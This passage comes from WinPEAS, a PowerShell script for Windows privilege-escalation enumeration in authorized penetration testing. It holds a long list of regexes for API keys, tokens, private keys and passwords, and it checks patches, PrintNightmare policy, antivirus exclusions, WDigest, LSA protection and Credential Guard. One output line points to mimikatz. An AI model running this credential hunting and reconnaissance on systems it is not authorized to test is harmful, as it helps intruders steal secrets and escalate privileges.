"duffel_(test|live)_[a-zA-Z0-9_-]{43}") $regexSearch.add("Dynatrace API Key", "dt0c01\.[a-zA-Z0-9]{24}\.[a-z0-9]{64}") $regexSearch.add("EasyPost API Key", "EZAK[a-zA-Z0-9]{54}") $regexSearch.add("EasyPost test API Key", "EZTK[a-zA-Z0-9]{54}") $regexSearch.add("Etherscan API Key", "(etherscan[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([A-Z0-9]{34})['""]") $regexSearch.add("Etsy Access Token", "([a-z0-9]{24})") $regexSearch.add("Facebook Access Token", "EAACEdEose0cBA[0-9A-Za-z]+") $regexSearch.add("Fastly API Key", "(fastly[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9=_\-]{32})['""]") $regexSearch.add("Finicity API Key & Client Secret", "(finicity[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-f0-9]{32}|[a-z0-9]{20})['""]") $regexSearch.add("Flickr Access Token", "([a-z0-9]{32})") $regexSearch.add("Flutterweave Keys", "FLWPUBK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST-[a-hA-H0-9]{32}-X|FLWSECK_TEST[a-hA-H0-9]{12}") $regexSearch.add("Frame.io API Key", "fio-u-[a-zA-Z0-9_=\-]{64}") $regexSearch.add("Freshbooks Access Token", "([a-z0-9]{64})") $regexSearch.add("Github", "github(.{0,20})?['""][0-9a-zA-Z]{35,40}") $regexSearch.add("Github App Token", "(ghu|ghs)_[0-9a-zA-Z]{36}") $regexSearch.add("Github OAuth Access Token", "gho_[0-9a-zA-Z]{36}") $regexSearch.add("Github Personal Access Token", "ghp_[0-9a-zA-Z]{36}") $regexSearch.add("Github Refresh Token", "ghr_[0-9a-zA-Z]{76}") $regexSearch.add("GitHub Fine-Grained Personal Access Token", "github_pat_[0-9a-zA-Z_]{82}") $regexSearch.add("Gitlab Personal Access Token", "glpat-[0-9a-zA-Z\-]{20}") $regexSearch.add("GitLab Pipeline Trigger Token", "glptt-[0-9a-f]{40}") $regexSearch.add("GitLab Runner Registration Token", "GR1348941[0-9a-zA-Z_\-]{20}") $regexSearch.add("Gitter Access Token", "([a-z0-9_-]{40})") $regexSearch.add("GoCardless API Key", "live_[a-zA-Z0-9_=\-]{40}") $regexSearch.add("GoFile API Key", "(gofile[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-zA-Z0-9]{32})['""]") $regexSearch.add("Google API Key", "AIza[0-9A-Za-z_\-]{35}") $regexSearch.add("Google Cloud Platform API Key", "(google|gcp|youtube|drive|yt)(.{0,20})?['""][AIza[0-9a-z_\-]{35}]['""]") $regexSearch.add("Google Drive Oauth", "[0-9]+-[0-9A-Za-z_]{32}\.apps\.googleusercontent\.com") $regexSearch.add("Google Oauth Access Token", "ya29\.[0-9A-Za-z_\-]+") $regexSearch.add("Google (GCP) Service-account", """type.+:.+""service_account") $regexSearch.add("Grafana API Key", "eyJrIjoi[a-z0-9_=\-]{72,92}") $regexSearch.add("Grafana cloud api token", "glc_[A-Za-z0-9\+/]{32,}={0,2}") $regexSearch.add("Grafana service account token", "(glsa_[A-Za-z0-9]{32}_[A-Fa-f0-9]{8})") $regexSearch.add("Hashicorp Terraform user/org API Key", "[a-z0-9]{14}\.atlasv1\.[a-z0-9_=\-]{60,70}") $regexSearch.add("Heroku API Key", "[hH][eE][rR][oO][kK][uU].{0,30}[0-9A-F]{8}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{4}-[0-9A-F]{12}") $regexSearch.add("Hubspot API Key", "['""][a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12}['""]") $regexSearch.add("Instatus API Key", "(instatus[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{32})['""]") $regexSearch.add("Intercom API Key & Client Secret/ID", "(intercom[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9=_]{60}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['""]") $regexSearch.add("Ionic API Key", "(ionic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""](ion_[a-z0-9]{42})['""]") $regexSearch.add("JSON Web Token", "(ey[0-9a-z]{30,34}\.ey[0-9a-z\/_\-]{30,}\.[0-9a-zA-Z\/_\-]{10,}={0,2})") $regexSearch.add("Kraken Access Token", "([a-z0-9\/=_\+\-]{80,90})") $regexSearch.add("Kucoin Access Token", "([a-f0-9]{24})") $regexSearch.add("Kucoin Secret Key", "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})") $regexSearch.add("Launchdarkly Access Token", "([a-z0-9=_\-]{40})") $regexSearch.add("Linear API Key", "(lin_api_[a-zA-Z0-9]{40})") $regexSearch.add("Linear Client Secret/ID", "((linear[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-f0-9]{32})['""])") $regexSearch.add("LinkedIn Client ID", "linkedin(.{0,20})?['""][0-9a-z]{12}['""]") $regexSearch.add("LinkedIn Secret Key", "linkedin(.{0,20})?['""][0-9a-z]{16}['""]") $regexSearch.add("Lob API Key", "((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]((live|test)_[a-f0-9]{35})['""])|((lob[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]((test|live)_pub_[a-f0-9]{31})['""])") $regexSearch.add("Lob Publishable API Key", "((test|live)_pub_[a-f0-9]{31})") $regexSearch.add("MailboxValidator", "(mailbox.?validator[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([A-Z0-9]{20})['""]") $regexSearch.add("Mailchimp API Key", "[0-9a-f]{32}-us[0-9]{1,2}") $regexSearch.add("Mailgun API Key", "key-[0-9a-zA-Z]{32}'") $regexSearch.add("Mailgun Public Validation Key", "pubkey-[a-f0-9]{32}") $regexSearch.add("Mailgun Webhook signing key", "[a-h0-9]{32}-[a-h0-9]{8}-[a-h0-9]{8}") $regexSearch.add("Mapbox API Key", "(pk\.[a-z0-9]{60}\.[a-z0-9]{22})") $regexSearch.add("Mattermost Access Token", "([a-z0-9]{26})") $regexSearch.add("MessageBird API Key & API client ID", "(messagebird[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{25}|[a-h0-9]{8}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{4}-[a-h0-9]{12})['""]") $regexSearch.add("Microsoft Teams Webhook", "https:\/\/[a-z0-9]+\.webhook\.office\.com\/webhookb2\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}@[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}\/IncomingWebhook\/[a-z0-9]{32}\/[a-z0-9]{8}-([a-z0-9]{4}-){3}[a-z0-9]{12}") $regexSearch.add("MojoAuth API Key", "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}") $regexSearch.add("Netlify Access Token", "([a-z0-9=_\-]{40,46})") $regexSearch.add("New Relic User API Key, User API ID & Ingest Browser API Key", "(NRAK-[A-Z0-9]{27})|((newrelic[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([A-Z0-9]{64})['""])|(NRJS-[a-f0-9]{19})") $regexSearch.add("Nownodes", "(nownodes[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([A-Za-z0-9]{32})['""]") $regexSearch.add("Npm Access Token", "(npm_[a-zA-Z0-9]{36})") $regexSearch.add("Nytimes Access Token", "([a-z0-9=_\-]{32})") $regexSearch.add("Okta Access Token", "([a-z0-9=_\-]{42})") $regexSearch.add("OpenAI API Token", "sk-[A-Za-z0-9]{48}") $regexSearch.add("ORB Intelligence Access Key", "['""][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['""]") $regexSearch.add("Pastebin API Key", "(pastebin[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{32})['""]") $regexSearch.add("PayPal Braintree Access Token", 'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}') $regexSearch.add("Picatic API Key", "sk_live_[0-9a-z]{32}") $regexSearch.add("Pinata API Key", "(pinata[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{64})['""]") $regexSearch.add("Planetscale API Key", "pscale_tkn_[a-zA-Z0-9_\.\-]{43}") $regexSearch.add("PlanetScale OAuth token", "(pscale_oauth_[a-zA-Z0-9_\.\-]{32,64})") $regexSearch.add("Planetscale Password", "pscale_pw_[a-zA-Z0-9_\.\-]{43}") $regexSearch.add("Plaid API Token", "(access-(?:sandbox|development|production)-[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})") $regexSearch.add("Plaid Client ID", "([a-z0-9]{24})") $regexSearch.add("Plaid Secret key", "([a-z0-9]{30})") $regexSearch.add("Prefect API token", "(pnu_[a-z0-9]{36})") $regexSearch.add("Postman API Key", "PMAK-[a-fA-F0-9]{24}-[a-fA-F0-9]{34}") $regexSearch.add("Private Keys", "\-\-\-\-\-BEGIN PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN RSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN OPENSSH PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN PGP PRIVATE KEY BLOCK\-\-\-\-\-|\-\-\-\-\-BEGIN DSA PRIVATE KEY\-\-\-\-\-|\-\-\-\-\-BEGIN EC PRIVATE KEY\-\-\-\-\-") $regexSearch.add("Pulumi API Key", "pul-[a-f0-9]{40}") $regexSearch.add("PyPI upload token", "pypi-AgEIcHlwaS5vcmc[A-Za-z0-9_\-]{50,}") $regexSearch.add("Quip API Key", "(quip[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-zA-Z0-9]{15}=\|[0-9]{10}\|[a-zA-Z0-9\/+]{43}=)['""]") $regexSearch.add("RapidAPI Access Token", "([a-z0-9_-]{50})") $regexSearch.add("Rubygem API Key", "rubygems_[a-f0-9]{48}") $regexSearch.add("Readme API token", "rdme_[a-z0-9]{70}") $regexSearch.add("Sendbird Access ID", "([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})") $regexSearch.add("Sendbird Access Token", "([a-f0-9]{40})") $regexSearch.add("Sendgrid API Key", "SG\.[a-zA-Z0-9_\.\-]{66}") $regexSearch.add("Sendinblue API Key", "xkeysib-[a-f0-9]{64}-[a-zA-Z0-9]{16}") $regexSearch.add("Sentry Access Token", "([a-f0-9]{64})") $regexSearch.add("Shippo API Key, Access Token, Custom Access Token, Private App Access Token & Shared Secret", "shippo_(live|test)_[a-f0-9]{40}|shpat_[a-fA-F0-9]{32}|shpca_[a-fA-F0-9]{32}|shppa_[a-fA-F0-9]{32}|shpss_[a-fA-F0-9]{32}") $regexSearch.add("Sidekiq Secret", "([a-f0-9]{8}:[a-f0-9]{8})") $regexSearch.add("Sidekiq Sensitive URL", "([a-f0-9]{8}:[a-f0-9]{8})@(?:gems.contribsys.com|enterprise.contribsys.com)") $regexSearch.add("Slack Token", "xox[baprs]-([0-9a-zA-Z]{10,48})?") $regexSearch.add("Slack Webhook", "https://hooks.slack.com/services/T[a-zA-Z0-9_]{10}/B[a-zA-Z0-9_]{10}/[a-zA-Z0-9_]{24}") $regexSearch.add("Smarksheel API Key", "(smartsheet[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{26})['""]") $regexSearch.add("Square Access Token", "sqOatp-[0-9A-Za-z_\-]{22}") $regexSearch.add("Square API Key", "EAAAE[a-zA-Z0-9_-]{59}") $regexSearch.add("Square Oauth Secret", "sq0csp-[ 0-9A-Za-z_\-]{43}") $regexSearch.add("Stytch API Key", "secret-.*-[a-zA-Z0-9_=\-]{36}") $regexSearch.add("Stripe Access Token & API Key", "(sk|pk)_(test|live)_[0-9a-z]{10,32}|k_live_[0-9a-zA-Z]{24}") $regexSearch.add("SumoLogic Access ID", "([a-z0-9]{14})") $regexSearch.add("SumoLogic Access Token", "([a-z0-9]{64})") $regexSearch.add("Telegram Bot API Token", "[0-9]+:AA[0-9A-Za-z\\-_]{33}") $regexSearch.add("Travis CI Access Token", "([a-z0-9]{22})") $regexSearch.add("Trello API Key", "(trello[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([0-9a-z]{32})['""]") $regexSearch.add("Twilio API Key", "SK[0-9a-fA-F]{32}") $regexSearch.add("Twitch API Key", "(twitch[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{30})['""]") $regexSearch.add("Twitter Client ID", "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['""][0-9a-z]{18,25}") $regexSearch.add("Twitter Bearer Token", "(A{22}[a-zA-Z0-9%]{80,100})") $regexSearch.add("Twitter Oauth", "[tT][wW][iI][tT][tT][eE][rR].{0,30}['""\\s][0-9a-zA-Z]{35,44}['""\\s]") $regexSearch.add("Twitter Secret Key", "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['""][0-9a-z]{35,44}") $regexSearch.add("Typeform API Key", "tfp_[a-z0-9_\.=\-]{59}") $regexSearch.add("URLScan API Key", "['""][a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}['""]") $regexSearch.add("Vault Token", "[sb]\.[a-zA-Z0-9]{24}") $regexSearch.add("Yandex Access Token", "(t1\.[A-Z0-9a-z_-]+[=]{0,2}\.[A-Z0-9a-z_-]{86}[=]{0,2})") $regexSearch.add("Yandex API Key", "(AQVN[A-Za-z0-9_\-]{35,38})") $regexSearch.add("Yandex AWS Access Token", "(YC[a-zA-Z0-9_\-]{38})") $regexSearch.add("Web3 API Key", "(web3[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([A-Za-z0-9_=\-]+\.[A-Za-z0-9_=\-]+\.?[A-Za-z0-9_.+/=\-]*)['""]") $regexSearch.add("Zendesk Secret Key", "([a-z0-9]{40})") $regexSearch.add("Generic API Key", "((key|api|token|secret|password)[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([0-9a-zA-Z_=\-]{8,64})['""]") } if ($webAuth) { $regexSearch.add("Authorization Basic", "basic [a-zA-Z0-9_:\.=\-]+") $regexSearch.add("Authorization Bearer", "bearer [a-zA-Z0-9_\.=\-]+") $regexSearch.add("Alibaba Access Key ID", "(LTAI)[a-z0-9]{20}") $regexSearch.add("Alibaba Secret Key", "(alibaba[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{30})['""]") $regexSearch.add("Asana Client ID", "((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([0-9]{16})['""])|((asana[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([a-z0-9]{32})['""])") $regexSearch.add("AWS Client ID", "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}") $regexSearch.add("AWS MWS Key", "amzn\.mws\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}") $regexSearch.add("AWS Secret Key", "aws(.{0,20})?['""][0-9a-zA-Z\/+]{40}['""]") $regexSearch.add("AWS AppSync GraphQL Key", "da2-[a-z0-9]{26}") $regexSearch.add("Basic Auth Credentials", "://[a-zA-Z0-9]+:[a-zA-Z0-9]+@[a-zA-Z0-9]+\.[a-zA-Z]+") $regexSearch.add("Beamer Client Secret", "(beamer[a-z0-9_ \.,\-]{0,25})(=|>|:=|\|\|:|<=|=>|:).{0,5}['""](b_[a-z0-9=_\-]{44})['""]") $regexSearch.add("Cloudinary Basic Auth", "cloudinary://[0-9]{15}:[0-9A-Za-z]+@[a-z]+") $regexSearch.add("Facebook Client ID", "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['""][0-9]{13,17}") $regexSearch.add("Facebook Oauth", "[fF][aA][cC][eE][bB][oO][oO][kK].*['|""][0-9a-f]{32}['|""]") $regexSearch.add("Facebook Secret Key", "([fF][aA][cC][eE][bB][oO][oO][kK]|[fF][bB])(.{0,20})?['""][0-9a-f]{32}") $regexSearch.add("Jenkins Creds", "<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<") $regexSearch.add("Generic Secret", "[sS][eE][cC][rR][eE][tT].*['""][0-9a-zA-Z]{32,45}['""]") $regexSearch.add("Basic Auth", "//(.+):(.+)@") $regexSearch.add("PHP Passwords", "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass|pass').*[=:].+|define ?\('(\w*pass|\w*pwd|\w*user|\w*datab)") $regexSearch.add("Config Secrets (Passwd / Credentials)", "passwd.*|creden.*|^kind:[^a-zA-Z0-9_]?Secret|[^a-zA-Z0-9_]env:|secret:|secretName:|^kind:[^a-zA-Z0-9_]?EncryptionConfiguration|\-\-encryption\-provider\-config") $regexSearch.add("Generiac API tokens search", "(access_key|access_token|admin_pass|admin_user|algolia_admin_key|algolia_api_key|alias_pass|alicloud_access_key| amazon_secret_access_key|amazonaws|ansible_vault_password|aos_key|api_key|api_key_secret|api_key_sid|api_secret| api.googlemaps AIza|apidocs|apikey|apiSecret|app_debug|app_id|app_key|app_log_level|app_secret|appkey|appkeysecret| application_key|appsecret|appspot|auth_token|authorizationToken|authsecret|aws_access|aws_access_key_id|aws_bucket| aws_key|aws_secret|aws_secret_key|aws_token|AWSSecretKey|b2_app_key|bashrc password| bintray_apikey|bintray_gpg_password|bintray_key|bintraykey|bluemix_api_key|bluemix_pass|browserstack_access_key| bucket_password|bucketeer_aws_access_key_id|bucketeer_aws_secret_access_key|built_branch_deploy_key|bx_password|cache_driver| cache_s3_secret_key|cattle_access_key|cattle_secret_key|certificate_password|ci_deploy_password|client_secret| client_zpk_secret_key|clojars_password|cloud_api_key|cloud_watch_aws_access_key|cloudant_password| cloudflare_api_key|cloudflare_auth_key|cloudinary_api_secret|cloudinary_name|codecov_token|conn.login| connectionstring|consumer_key|consumer_secret|credentials|cypress_record_key|database_password|database_schema_test| datadog_api_key|datadog_app_key|db_password|db_server|db_username|dbpasswd|dbpassword|dbuser|deploy_password| digitalocean_ssh_key_body|digitalocean_ssh_key_ids|docker_hub_password|docker_key|docker_pass|docker_passwd| docker_password|dockerhub_password|dockerhubpassword|dot-files|dotfiles|droplet_travis_password|dynamoaccesskeyid| dynamosecretaccesskey|elastica_host|elastica_port|elasticsearch_password|encryption_key|encryption_password| env.heroku_api_key|env.sonatype_password|eureka.awssecretkey)[a-z0-9_ .,<\-]{0,25}(=|>|:=|\|\|:|<=|=>|:).{0,5}['""]([0-9a-zA-Z_=\-]{8,64})['""]") } if($FullCheck){$Excel = $true} $regexSearch.add("IPs", "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)") $Drives = Get-PSDrive | Where-Object { $_.Root -like "*:\" } $fileExtensions = @("*.xml", "*.txt", "*.conf", "*.config", "*.cfg", "*.ini", ".y*ml", "*.log", "*.bak", "*.xls", "*.xlsx", "*.xlsm") ######################## INTRODUCTION ######################## $stopwatch = [system.diagnostics.stopwatch]::StartNew() if ($FullCheck) { Write-Host "**Full Check Enabled. This will significantly increase false positives in registry / folder check for Usernames / Passwords.**" } # Introduction Write-Host -BackgroundColor Red -ForegroundColor White "ADVISORY: WinPEAS - Windows local Privilege Escalation Awesome Script" Write-Host -BackgroundColor Red -ForegroundColor White "WinPEAS should be used for authorized penetration testing and/or educational purposes only" Write-Host -BackgroundColor Red -ForegroundColor White "Any misuse of this software will not be the responsibility of the author or of any other collaborator" Write-Host -BackgroundColor Red -ForegroundColor White "Use it at your own networks and/or with the network owner's explicit permission" # Color Scheme Introduction Write-Host -ForegroundColor red "Indicates special privilege over an object or misconfiguration" Write-Host -ForegroundColor green "Indicates protection is enabled or something is well configured" Write-Host -ForegroundColor cyan "Indicates active users" Write-Host -ForegroundColor Gray "Indicates disabled users" Write-Host -ForegroundColor yellow "Indicates links" Write-Host -ForegroundColor Blue "Indicates title" Write-Host "You can find a Windows local PE Checklist here: https://book.hacktricks.wiki/en/windows-hardening/checklist-windows-privilege-escalation.html" -ForegroundColor Yellow #write-host "Creating Dynamic lists, this could take a while, please wait..." #write-host "Loading sensitive_files yaml definitions file..." #write-host "Loading regexes yaml definitions file..." ######################## SYSTEM INFORMATION ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host "====================================||SYSTEM INFORMATION ||====================================" "The following information is curated. To get a full list of system information, run the cmdlet get-computerinfo" #System Info from get-computer info systeminfo.exe #Hotfixes installed sorted by date Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| WINDOWS HOTFIXES" Write-Host "=| Check missing patches with the embedded windows vulnerability definitions" -ForegroundColor Yellow $Hotfix = Get-HotFix | Sort-Object -Descending -Property InstalledOn -ErrorAction SilentlyContinue | Select-Object HotfixID, Description, InstalledBy, InstalledOn $Hotfix | Format-Table -AutoSize # PrintNightmare PointAndPrint policy checks Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| PRINTNIGHTMARE POINTANDPRINT POLICY" $pnKey = "HKLM:\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" if (Test-Path $pnKey) { $pn = Get-ItemProperty -Path $pnKey -ErrorAction SilentlyContinue $restrict = $pn.RestrictDriverInstallationToAdministrators $noWarn = $pn.NoWarningNoElevationOnInstall $updatePrompt = $pn.UpdatePromptSettings Write-Host "RestrictDriverInstallationToAdministrators: $restrict" Write-Host "NoWarningNoElevationOnInstall: $noWarn" Write-Host "UpdatePromptSettings: $updatePrompt" $hasAllValues = ($null -ne $restrict) -and ($null -ne $noWarn) -and ($null -ne $updatePrompt) if (-not $hasAllValues) { Write-Host "PointAndPrint policy values are missing or not configured" -ForegroundColor Gray } elseif (($restrict -eq 0) -and ($noWarn -eq 1) -and ($updatePrompt -eq 2)) { Write-Host "Potentially vulnerable to PrintNightmare misconfiguration" -ForegroundColor Red } else { Write-Host "PointAndPrint policy is not in the known risky configuration" -ForegroundColor Green } } else { Write-Host "PointAndPrint policy key not found" -ForegroundColor Gray } #Show all unique updates installed Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| ALL UPDATES INSTALLED" # 0, and 5 are not used for history # See https://msdn.microsoft.com/en-us/library/windows/desktop/aa387095(v=vs.85).aspx # Source: https://stackoverflow.com/questions/41626129/how-do-i-get-the-update-history-from-windows-update-in-powershell?utm_medium=organic&utm_source=google_rich_qa&utm_campaign=google_rich_qa $session = (New-Object -ComObject 'Microsoft.Update.Session') # Query the latest 50 updates starting with the first record $history = $session.QueryHistory("", 0, 1000) | Select-Object ResultCode, Date, Title #create an array for unique HotFixes $HotfixUnique = @() #$HotfixUnique += ($history[0].title | Select-String -AllMatches -Pattern 'KB(\d{4,6})').Matches.Value $HotFixReturnNum = @() #$HotFixReturnNum += 0 for ($i = 0; $i -lt $history.Count; $i++) { $check = returnHotFixID -title $history[$i].Title if ($HotfixUnique -like $check) { #Do Nothing } else { $HotfixUnique += $check $HotFixReturnNum += $i } } $FinalHotfixList = @() $hotfixreturnNum | ForEach-Object { $HotFixItem = $history[$_] $Result = $HotFixItem.ResultCode # https://learn.microsoft.com/en-us/windows/win32/api/wuapi/ne-wuapi-operationresultcode?redirectedfrom=MSDN switch ($Result) { 1 { $Result = "Missing/Superseded" } 2 { $Result = "Succeeded" } 3 { $Result = "Succeeded With Errors" } 4 { $Result = "Failed" } 5 { $Result = "Canceled" } } $FinalHotfixList += New-Object -TypeName PSObject -Property ([Ordered]@{ Result = $Result Date = $HotFixItem.Date Title = $HotFixItem.Title }) } $FinalHotfixList | Format-Table -AutoSize Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Drive Info" # Load the System.Management assembly Add-Type -AssemblyName System.Management # Create a ManagementObjectSearcher to query Win32_LogicalDisk $diskSearcher = New-Object System.Management.ManagementObjectSearcher("SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3") # Get the system drives $systemDrives = $diskSearcher.Get() # Loop through each drive and display its information foreach ($drive in $systemDrives) { $driveLetter = $drive.DeviceID $driveLabel = $drive.VolumeName $driveSize = [math]::Round($drive.Size / 1GB, 2) $driveFreeSpace = [math]::Round($drive.FreeSpace / 1GB, 2) Write-Output "Drive: $driveLetter" Write-Output "Label: $driveLabel" Write-Output "Size: $driveSize GB" Write-Output "Free Space: $driveFreeSpace GB" Write-Output "" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Antivirus Detection (attemping to read exclusions as well)" WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName Get-ChildItem 'registry::HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions' -ErrorAction SilentlyContinue Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| NET ACCOUNTS Info" net accounts ######################## REGISTRY SETTING CHECK ######################## Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| REGISTRY SETTINGS CHECK" Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Audit Log Settings" #Check audit registry if ((Test-Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\).Property) { Get-Item -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit\ } else { Write-Host "No Audit Log settings, no registry entry found." } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Windows Event Forward (WEF) registry" if (Test-Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager) { Get-Item HKLM:\SOFTWARE\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager } else { Write-Host "Logs are not being fowarded, no registry entry found." } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| LAPS Check" if (Test-Path 'C:\Program Files\LAPS\CSE\Admpwd.dll') { Write-Host "LAPS dll found on this machine at C:\Program Files\LAPS\CSE\" -ForegroundColor Green } elseif (Test-Path 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll' ) { Write-Host "LAPS dll found on this machine at C:\Program Files (x86)\LAPS\CSE\" -ForegroundColor Green } else { Write-Host "LAPS dlls not found on this machine" } if ((Get-ItemProperty HKLM:\Software\Policies\Microsoft Services\AdmPwd -ErrorAction SilentlyContinue).AdmPwdEnabled -eq 1) { Write-Host "LAPS registry key found on this machine" -ForegroundColor Green } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| WDigest Check" $WDigest = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest).UseLogonCredential switch ($WDigest) { 0 { Write-Host "Value 0 found. Plain-text Passwords are not stored in LSASS" } 1 { Write-Host "Value 1 found. Plain-text Passwords may be stored in LSASS" -ForegroundColor red } Default { Write-Host "The system was unable to find the specified registry value: UseLogonCredential" } } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| LSA Protection Check" $RunAsPPL = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\LSA).RunAsPPL $RunAsPPLBoot = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\LSA).RunAsPPLBoot switch ($RunAsPPL) { 2 { Write-Host "RunAsPPL: 2. Enabled without UEFI Lock" } 1 { Write-Host "RunAsPPL: 1. Enabled with UEFI Lock" } 0 { Write-Host "RunAsPPL: 0. LSA Protection Disabled. Try mimikatz." -ForegroundColor red } Default { "The system was unable to find the specified registry value: RunAsPPL / RunAsPPLBoot" } } if ($RunAsPPLBoot) { Write-Host "RunAsPPLBoot: $RunAsPPLBoot" } Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Credential Guard Check" $LsaCfgFlags = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\LSA).LsaCfgFlags switch ($LsaCfgFlags) { 2 { Write-Host "LsaCfgFlags 2. Enabled without UEFI Lock" } 1 { Write-Host "LsaCfgFlags 1. Enabled with UEFI Lock" } 0 { Write-Host "LsaCfgFlags 0. LsaCfgFlags Disabled." 